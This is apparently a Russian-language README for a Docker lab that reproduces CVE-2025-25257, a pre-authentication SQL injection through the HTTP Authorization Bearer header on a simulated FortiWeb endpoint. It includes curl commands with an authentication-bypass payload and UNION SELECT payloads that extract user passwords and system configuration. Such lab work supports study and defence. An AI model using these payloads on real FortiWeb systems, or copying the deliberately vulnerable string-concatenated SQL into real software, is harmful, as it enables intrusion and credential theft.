
Воспроизводимая Docker-лаборатория для CVE-2025-25257, демонстрирующая обход SQL-инъекций и эксфильтрацию данных через заголовок HTTP Authorization на смоделированной конечной точке FortiWeb.
Архитектура эксперимента (среда моделирует уязвимые компоненты FortiWeb)
Уязвимая конечная точка: /api/system/fabric/config
Вектор инъекции: HTTP-заголовок Authorization: Bearer
Механизм: прямая конкатенация SQL (f-строка Python)
Аутентификация: отсутствует (полный обход)
База данных: SQLite (для демонстрации)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : намеренно уязвимый HTTP-сервис / предоставляет API, которое можно эксплуатировать без аутентификации
docker-compose.yml : оркестрирует воспроизводимый уязвимый сервис / предоставляет API, доступное для атаки через HTTP / изолирует среду экспериментов
requirements.txt : обеспечивает стабильную и воспроизводимую среду
app.py : реализует конечную точку перед аутентификацией / принимает пользовательский ввод через Authorization / объединяет этот ввод в SQL-запрос / позволяет обход аутентификации и извлечение данных
init_db.py : подготавливает набор данных, пригодный для эксплуатации / позволяет наглядно продемонстрировать обход аутентификации и эксфильтрацию данных
payload.txt : предоставляет минимальное, контролируемое и наблюдаемое доказательство выполнения кода
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl http://localhost:8080/api/system/status
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest